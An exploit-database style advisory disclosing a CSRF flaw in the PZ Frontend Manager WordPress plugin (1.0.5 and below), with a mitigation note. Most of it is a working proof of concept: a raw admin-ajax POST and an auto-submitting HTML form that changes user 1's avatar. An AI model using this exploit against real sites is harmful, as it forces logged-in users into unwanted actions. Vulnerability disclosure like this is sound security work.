PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF)

vendor:

PZ Frontend Manager

by:

Vuln Seeker Cybersecurity Team

6.1

CVSS

HIGH

Cross Site Request Forgery (CSRF)

352

CWE

Product Name: PZ Frontend Manager

Affected Version From: 1.0.0

Affected Version To: 1.0.5

Patch Exists: NO

Related CWE: CVE-2024-XXXX (To be assigned)

CPE: a:wordpress:pz_frontend_manager:1.0.5

Metasploit:

Other Scripts:

Platforms Tested: Firefox

2024

PZ Frontend Manager WordPress Plugin 1.0.5 – Cross Site Request Forgery (CSRF)

The PZ Frontend Manager WordPress Plugin version 1.0.5 and below is vulnerable to Cross Site Request Forgery (CSRF) attacks due to lack of CSRF checks in certain areas. This could allow malicious actors to manipulate logged in users into executing unintended actions.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper CSRF tokens and checks in the plugin code to validate user actions.

Source

Exploit-DB raw data:

# Exploit Title: PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF)
# Date: 2024-07-01
# Exploit Author: Vuln Seeker Cybersecurity Team
# Vendor Homepage: https://wordpress.org/plugins/pz-frontend-manager/
# Version: <= 1.0.5
# Tested on: Firefox
# Contact me: vulns@vulnseeker.org

The plugin does not have CSRF checks in some places, which could allow
attackers to make logged in users perform unwanted actions via CSRF attacks.

Proof of concept:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:10003
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1093
Origin: http://localhost:10003
Sec-GPC: 1
Connection: close
Cookie: Cookie

action=pzfm_upload_avatar&imageData=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAADcAAAA3CAAAAACNsI2aAAAACXBIWXMAAAB5AAAAeQBPsriEAAAB6ElEQVR42rVWO46EMAzNadAcY3vaOQMXoXcXKZehS8NpqNxamw8JxDYra1Zjhgge9jhx%2FBy7bYvtl4Y8Qn%2BtEjty6WxuQ0KkfOM5wJEeEkT1bsigU%2BxGQV%2BQfZ2ned0LAkLnyQ4XV2XB%2Fk%2BjXdTs8Mc1%2BUlvQehEt5Fit7hLFsUfqfOk3d1lJ9VO%2BqN1sFvJm%2BIScB7s3uo8ZVzC8RrsXjIuqp2n0d%2BsxFNbHxCw9cF34yn2L5jyJWndIprzRfqLpvw0%2B6PCh1fjgxpP5NL4VzlYEa6zOYDgzyvk0cMbykMek6THipSXAD5%2FBKh8H%2F3JGZTxPgM9Px9WDL0CkM1ORJie48nsWAXQ8kW1YxlknKfIWJs%2FEBXgoZ6Jf2KMNMYz4FgBJjTGkxR%2FH67vm%2FH8eP9ShlyRqfli24c0svy0zLNXgOkNtQJEle%2FP%2FMPOv8T3TGZIZIbO7sL7BMON74nkuQqUj4XvnMvwiNCBjO%2Byev2NVDtZLeX5rvD9lu0zauxW%2Ba6dBvJ8H5Gyfzz3wIBkO57rYECyHeeWF%2BxW%2BYcT47Jkdzi4TpT%2BlPNdIv9Z34fxNOxf0PhO91yw5MuMen56AxLPOtG7W9T63SCQ2k9Uol1so3bVnrog2JTyU57n1bb37n3s5s8Of5RfsaTdSlfuyUAAAAA8dEVYdGNvbW1lbnQAIEltYWdlIGdlbmVyYXRlZCBieSBHTlUgR2hvc3RzY3JpcHQgKGRldmljZT1wbm1yYXcpCvqLFvMAAABKdEVYdHNpZ25hdHVyZQA4NWUxYWU0YTJmYmE3OGVlZDRmZDhmMGFjZjIzNzYwOWU4NGY1NDk2Y2RlMjBiNWQ3NmM5Y2JjMjk4YzRhZWJjJecJ2gAAAABJRU5ErkJggg%3D%3D&userID=1


CSRF Exploit:

<html>
  <body>
    <form action="http://localhost:10003/wp-admin/admin-ajax.php"
method="POST">
      <input type="hidden" name="action" value="pzfm_upload_avatar" />
      <input type="hidden" name="imageData"
value="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADcAAAA3CAAAAACNsI2aAAAACXBIWXMAAAB5AAAAeQBPsriEAAAB6ElEQVR42rVWO46EMAzNadAcY3vaOQMXoXcXKZehS8NpqNxamw8JxDYra1Zjhgge9jhx/By7bYvtl4Y8Qn+tEjty6WxuQ0KkfOM5wJEeEkT1bsigU+xGQV+QfZ2ned0LAkLnyQ4XV2XB/k+jXdTs8Mc1+UlvQehEt5Fit7hLFsUfqfOk3d1lJ9VO+qN1sFvJm+IScB7s3uo8ZVzC8RrsXjIuqp2n0d+sxFNbHxCw9cF34yn2L5jyJWndIprzRfqLpvw0+6PCh1fjgxpP5NL4VzlYEa6zOYDgzyvk0cMbykMek6THipSXAD5/BKh8H/3JGZTxPgM9Px9WDL0CkM1ORJie48nsWAXQ8kW1YxlknKfIWJs/EBXgoZ6Jf2KMNMYz4FgBJjTGkxR/H67vm/H8eP9ShlyRqfli24c0svy0zLNXgOkNtQJEle/P/MPOv8T3TGZIZIbO7sL7BMON74nkuQqUj4XvnMvwiNCBjO+yev2NVDtZLeX5rvD9lu0zauxW+a6dBvJ8H5Gyfzz3wIBkO57rYECyHeeWF+xW+YcT47Jkdzi4TpT+lPNdIv9Z34fxNOxf0PhO91yw5MuMen56AxLPOtG7W9T63SCQ2k9Uol1so3bVnrog2JTyU57n1bb37n3s5s8Of5RfsaTdSlfuyUAAAAA8dEVYdGNvbW1lbnQAIEltYWdlIGdlbmVyYXRlZCBieSBHTlUgR2hvc3RzY3JpcHQgKGRldmljZT1wbm1yYXcpCvqLFvMAAABKdEVYdHNpZ25hdHVyZQA4NWUxYWU0YTJmYmE3OGVlZDRmZDhmMGFjZjIzNzYwOWU4NGY1NDk2Y2RlMjBiNWQ3NmM5Y2JjMjk4YzRhZWJjJecJ2gAAAABJRU5ErkJggg=="
/>
      <input type="hidden" name="userID" value="1"" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Profile picture of user 1 will be changed in the dashboard
http://localhost:10003/dashboard/?dashboard=profile

Reference:
https://wpscan.com/vulnerability/73ba55a5-6cff-40fc-9686-30c50f060732/